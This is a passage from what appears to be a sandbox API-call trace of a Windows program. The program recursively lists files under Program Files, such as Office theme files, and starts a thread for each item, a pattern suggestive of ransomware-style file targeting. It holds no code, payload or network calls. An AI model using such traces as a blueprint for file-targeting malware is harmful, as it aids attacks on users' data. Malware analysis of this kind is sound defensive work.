Files\\Common Files\\Services\\verisign.bmp" [0048.362] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x421268, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x52c [0048.363] FindNextFileW (in: hFindFile=0x4402e0, lpFindFileData=0x44c558 | out: lpFindFileData=0x44c558*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xafbfd139, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0xafbfd139, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0xafbfd139, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xa8e, dwReserved0=0x0, dwReserved1=0x0, cFileName="verisign.bmp", cAlternateFileName="")) returned 0 [0048.363] FindClose (in: hFindFile=0x4402e0 | out: hFindFile=0x4402e0) returned 1 [0048.363] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44c558) returned 1 [0048.363] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44a190) returned 1 [0048.363] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x413e90) returned 1 Thread: id = 110 os_tid = 0xbb8 [0045.929] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x5c) returned 0x44cbe8 [0045.929] wcscpy (in: _Dest=0x44cbe8, _Source="C:\\Program Files\\Common Files\\SpeechEngines" | out: _Dest="C:\\Program Files\\Common Files\\SpeechEngines") returned="C:\\Program Files\\Common Files\\SpeechEngines" [0045.929] wcscat (in: _Dest=0x44cbe8, _Source="\\" | out: _Dest="C:\\Program Files\\Common Files\\SpeechEngines\\") returned="C:\\Program Files\\Common Files\\SpeechEngines\\" [0045.929] wcscat (in: _Dest=0x44cbe8, _Source="*" | out: _Dest="C:\\Program Files\\Common Files\\SpeechEngines\\*") returned="C:\\Program Files\\Common Files\\SpeechEngines\\*" [0045.929] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x44cc50 [0045.929] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\SpeechEngines\\*", lpFindFileData=0x44cc50 | out: lpFindFileData=0x44cc50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd85ef28, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x440320 [0046.735] wcscmp (_String1=".", _String2=".") returned 0 [0046.735] FindNextFileW (in: hFindFile=0x440320, lpFindFileData=0x44cc50 | out: lpFindFileData=0x44cc50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd85ef28, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0046.735] wcscmp (_String1="..", _String2=".") returned 1 [0046.735] wcscmp (_String1="..", _String2="..") returned 0 [0046.735] FindNextFileW (in: hFindFile=0x440320, lpFindFileData=0x44cc50 | out: lpFindFileData=0x44cc50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd85ef28, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft", cAlternateFileName="MICROS~1")) returned 1 [0046.735] wcscmp (_String1="Microsoft", _String2=".") returned 1 [0046.735] wcscmp (_String1="Microsoft", _String2="..") returned 1 [0046.735] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x6c) returned 0x419040 [0046.735] wcscpy (in: _Dest=0x419040, _Source="C:\\Program Files\\Common Files\\SpeechEngines" | out: _Dest="C:\\Program Files\\Common Files\\SpeechEngines") returned="C:\\Program Files\\Common Files\\SpeechEngines" [0046.735] wcscat (in: _Dest=0x419040, _Source="\\" | out: _Dest="C:\\Program Files\\Common Files\\SpeechEngines\\") returned="C:\\Program Files\\Common Files\\SpeechEngines\\" [0046.735] wcscat (in: _Dest=0x419040, _Source="Microsoft" | out: _Dest="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft") returned="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft" [0048.364] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x419040, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x530 [0048.365] FindNextFileW (in: hFindFile=0x440320, lpFindFileData=0x44cc50 | out: lpFindFileData=0x44cc50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd85ef28, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft", cAlternateFileName="MICROS~1")) returned 0 [0048.365] FindClose (in: hFindFile=0x440320 | out: hFindFile=0x440320) returned 1 [0048.365] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44cc50) returned 1 [0048.365] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44cbe8) returned 1 [0048.365] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x41a9b8) returned 1 Thread: id = 111 os_tid = 0xbbc [0045.929] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x70) returned 0x418a28 [0045.929] wcscpy (in: _Dest=0x418a28, _Source="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB" | out: _Dest="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB") returned="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB" [0045.929] wcscat (in: _Dest=0x418a28, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\") returned="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\" [0045.930] wcscat (in: _Dest=0x418a28, _Source="*" | out: _Dest="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\*") returned="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\*" [0045.930] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x44d2e0 [0045.930] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\*", lpFindFileData=0x44d2e0 | out: lpFindFileData=0x44d2e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa1d4a90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa1d4a90, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x409ae8 [0045.930] wcscmp (_String1=".", _String2=".") returned 0 [0045.930] FindNextFileW (in: hFindFile=0x409ae8, lpFindFileData=0x44d2e0 | out: lpFindFileData=0x44d2e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa1d4a90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa1d4a90, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0045.930] wcscmp (_String1="..", _String2=".") returned 1 [0045.931] wcscmp (_String1="..", _String2="..") returned 0 [0045.931] FindNextFileW (in: hFindFile=0x409ae8, lpFindFileData=0x44d2e0 | out: lpFindFileData=0x44d2e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x5f1ce1d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5f1ce1d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="10", cAlternateFileName="")) returned 1 [0045.931] wcscmp (_String1="10", _String2=".") returned 1 [0045.931] wcscmp (_String1="10", _String2="..") returned 1 [0045.931] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x72) returned 0x3fff18 [0045.931] wcscpy (in: _Dest=0x3fff18, _Source="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB" | out: _Dest="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB") returned="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB" [0045.931] wcscat (in: _Dest=0x3fff18, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\") returned="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\" [0045.931] wcscat (in: _Dest=0x3fff18, _Source="10" | out: _Dest="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10") returned="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10" [0045.931] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x3fff18, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x430 [0045.932] FindNextFileW (in: hFindFile=0x409ae8, lpFindFileData=0x44d2e0 | out: lpFindFileData=0x44d2e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x5f1ce1d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5f1ce1d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="10", cAlternateFileName="")) returned 0 [0045.932] FindClose (in: hFindFile=0x409ae8 | out: hFindFile=0x409ae8) returned 1 [0045.932] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44d2e0) returned 1 [0045.932] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x418a28) returned 1 [0045.932] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x418848) returned 1 Thread: id = 112 os_tid = 0xbc0 [0045.933] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x58) returned 0x44a1f0 [0045.933] wcscpy (in: _Dest=0x44a1f0, _Source="C:\\Program Files\\Microsoft Office\\CLIPART" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART") returned="C:\\Program Files\\Microsoft Office\\CLIPART" [0045.933] wcscat (in: _Dest=0x44a1f0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\" [0045.933] wcscat (in: _Dest=0x44a1f0, _Source="*" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\*") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\*" [0045.933] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x44d2e0 [0045.933] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\*", lpFindFileData=0x44d2e0 | out: lpFindFileData=0x44d2e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x512f1610, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x56406370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x56406370, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4408e0 [0047.105] wcscmp (_String1=".", _String2=".") returned 0 [0047.105] FindNextFileW (in: hFindFile=0x4408e0, lpFindFileData=0x44d2e0 | out: lpFindFileData=0x44d2e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x512f1610, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x56406370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x56406370, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0047.105] wcscmp (_String1="..", _String2=".") returned 1 [0047.105] wcscmp (_String1="..", _String2="..") returned 0 [0047.105] FindNextFileW (in: hFindFile=0x4408e0, lpFindFileData=0x44d2e0 | out: lpFindFileData=0x44d2e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x512f1610, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7090d6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7090d6b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PUB60COR", cAlternateFileName="")) returned 1 [0047.105] wcscmp (_String1="PUB60COR", _String2=".") returned 1 [0047.105] wcscmp (_String1="PUB60COR", _String2="..") returned 1 [0047.105] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x66) returned 0x421968 [0047.105] wcscpy (in: _Dest=0x421968, _Source="C:\\Program Files\\Microsoft Office\\CLIPART" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART") returned="C:\\Program Files\\Microsoft Office\\CLIPART" [0047.105] wcscat (in: _Dest=0x421968, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\" [0047.105] wcscat (in: _Dest=0x421968, _Source="PUB60COR" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" [0049.436] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x421968, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x9b4 [0049.436] FindNextFileW (in: hFindFile=0x4408e0, lpFindFileData=0x44d2e0 | out: lpFindFileData=0x44d2e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x56406370, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x56406370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x56406370, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Publisher", cAlternateFileName="PUBLIS~1")) returned 1 [0049.436] wcscmp (_String1="Publisher", _String2=".") returned 1 [0049.436] wcscmp (_String1="Publisher", _String2="..") returned 1 [0049.436] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x68) returned 0x420d28 [0049.437] wcscpy (in: _Dest=0x420d28, _Source="C:\\Program Files\\Microsoft Office\\CLIPART" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART") returned="C:\\Program Files\\Microsoft Office\\CLIPART" [0049.437] wcscat (in: _Dest=0x420d28, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\" [0049.437] wcscat (in: _Dest=0x420d28, _Source="Publisher" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher" [0049.437] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x420d28, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa3c [0049.438] FindNextFileW (in: hFindFile=0x4408e0, lpFindFileData=0x44d2e0 | out: lpFindFileData=0x44d2e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x56406370, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x56406370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x56406370, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Publisher", cAlternateFileName="PUBLIS~1")) returned 0 [0049.438] FindClose (in: hFindFile=0x4408e0 | out: hFindFile=0x4408e0) returned 1 [0049.438] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44d2e0) returned 1 [0049.438] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44a1f0) returned 1 [0049.438] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x442858) returned 1 Thread: id = 113 os_tid = 0xbc4 [0045.933] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x6e) returned 0x418848 [0045.933] wcscpy (in: _Dest=0x418848, _Source="C:\\Program Files\\Microsoft Office\\Document Themes 14" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14" [0045.933] wcscat (in: _Dest=0x418848, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\" [0045.933] wcscat (in: _Dest=0x418848, _Source="*" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\*") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\*" [0045.934] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x44e1c8 [0045.934] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\*", lpFindFileData=0x44e1c8 | out: lpFindFileData=0x44e1c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5127f1f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xe5cd5260, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xe5cd5260, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x440720 [0048.759] wcscmp (_String1=".", _String2=".") returned 0 [0048.759] FindNextFileW (in: hFindFile=0x440720, lpFindFileData=0x44e1c8 | out: lpFindFileData=0x44e1c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5127f1f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xe5cd5260, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xe5cd5260, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0049.671] wcscmp (_String1="..", _String2=".") returned 1 [0049.671] wcscmp (_String1="..", _String2="..") returned 0 [0049.671] FindNextFileW (in: hFindFile=0x440720, lpFindFileData=0x44e1c8 | out: lpFindFileData=0x44e1c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5f664b00, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5943160, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x5f664b00, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0xd0aa, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adjacency.thmx", cAlternateFileName="ADJACE~1.THM")) returned 1 [0049.671] wcscmp (_String1="Adjacency.thmx", _String2=".") returned 1 [0049.671] wcscmp (_String1="Adjacency.thmx", _String2="..") returned 1 [0049.671] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x88) returned 0x417350 [0049.671] wcscpy (in: _Dest=0x417350, _Source="C:\\Program Files\\Microsoft Office\\Document Themes 14" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14" [0049.671] wcscat (in: _Dest=0x417350, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\" [0049.672] wcscat (in: _Dest=0x417350, _Source="Adjacency.thmx" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Adjacency.thmx") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Adjacency.thmx" [0062.038] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x417350, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x12a0 [0062.039] FindNextFileW (in: hFindFile=0x440720, lpFindFileData=0x44e1c8 | out: lpFindFileData=0x44e1c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x62f9d200, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5943160, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x62f9d200, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x11098, dwReserved0=0x0, dwReserved1=0x0, cFileName="Angles.thmx", cAlternateFileName="ANGLES~1.THM")) returned 1 [0062.039] wcscmp (_String1="Angles.thmx", _String2=".") returned 1 [0062.039] wcscmp (_String1="Angles.thmx", _String2="..") returned 1 [0062.040] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x82) returned 0x4178f0 [0062.040] wcscpy (in: _Dest=0x4178f0, _Source="C:\\Program Files\\Microsoft Office\\Document Themes 14" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14" [0062.040] wcscat (in: _Dest=0x4178f0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\" [0062.040] wcscat (in: _Dest=0x4178f0, _Source="Angles.thmx" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Angles.thmx") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Angles.thmx" [0062.040] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x4178f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x12a4 [0062.041] FindNextFileW (in: hFindFile=0x440720, lpFindFileData=0x44e1c8 | out: lpFindFileData=0x44e1c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfda5e100, ftCreationTime.dwHighDateTime=0x1cbded8, ftLastAccessTime.dwLowDateTime=0xe59692c0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xfda5e100, ftLastWriteTime.dwHighDateTime=0x1cbded8, nFileSizeHigh=0x0, nFileSizeLow=0x3f427, dwReserved0=0x0, dwReserved1=0x0, cFileName="Apex.thmx", cAlternateFileName="APEX~1.THM")) returned 1 [0062.041] wcscmp (_String1="Apex.thmx", _String2=".") returned 1 [0062.041] wcscmp (_String1="Apex.thmx", _String2="..") returned 1 [0062.041] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x7e) returned 0x5ec6f28 [0062.041] wcscpy (in: _Dest=0x5ec6f28, _Source="C:\\Program Files\\Microsoft Office\\Document Themes 14" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14" [0062.041] wcscat (in: _Dest=0x5ec6f28, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\" [0062.041] wcscat (in: _Dest=0x5ec6f28, _Source="Apex.thmx" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Apex.thmx") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Apex.thmx" [0062.041] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x5ec6f28, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x12a8 [0062.042] FindNextFileW (in: hFindFile=0x440720, lpFindFileData=0x44e1c8 | out: lpFindFileData=0x44e1c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3cd43200, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe59692c0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x3cd43200, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x15a56, dwReserved0=0x0, dwReserved1=0x0, cFileName="Apothecary.thmx", cAlternateFileName="APOTHE~1.THM")) returned 1 [0062.042] wcscmp (_String1="Apothecary.thmx", _String2=".") returned 1 [0062.042] wcscmp (_String1="Apothecary.thmx", _String2="..") returned 1 [0062.042] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x8a) returned 0x97cda28 [0062.042] wcscpy (in: _Dest=0x97cda28, _Source="C:\\Program Files\\Microsoft Office\\Document Themes 14" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14" [0062.042] wcscat (in: _Dest=0x97cda28, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\" [0062.042] wcscat (in: _Dest=0x97cda28, _Source="Apothecary.thmx" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Apothecary.thmx") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Apothecary.thmx" [0062.042] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x97cda28, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x12ac [0062.043] FindNextFileW (in: hFindFile=0x440720, lpFindFileData=0x44e1c8 | out: lpFindFileData=0x44e1c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1396800, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe59692c0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x1396800, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x109e5, dwReserved0=0x0, dwReserved1=0x0, cFileName="Aspect.thmx", cAlternateFileName="ASPECT~1.THM")) returned 1 [0062.043] wcscmp (_String1="Aspect.thmx", _String2=".") returned 1 [0062.043] wcscmp (_String1="Aspect.thmx", _String2="..") returned 1 [0062.043] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x82) returned 0x417a10 [0062.043] wcscpy (in: _Dest=0x417a10, _Source="C:\\Program Files\\Microsoft Office\\Document Themes 14" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14" [0062.043] wcscat (in: _Dest=0x417a10, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\" [0062.044] wcscat (in: _Dest=0x417a10, _Source="Aspect.thmx" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Aspect.thmx") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Aspect.thmx" [0062.044] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x417a10, dwCreationFlags=0x0, 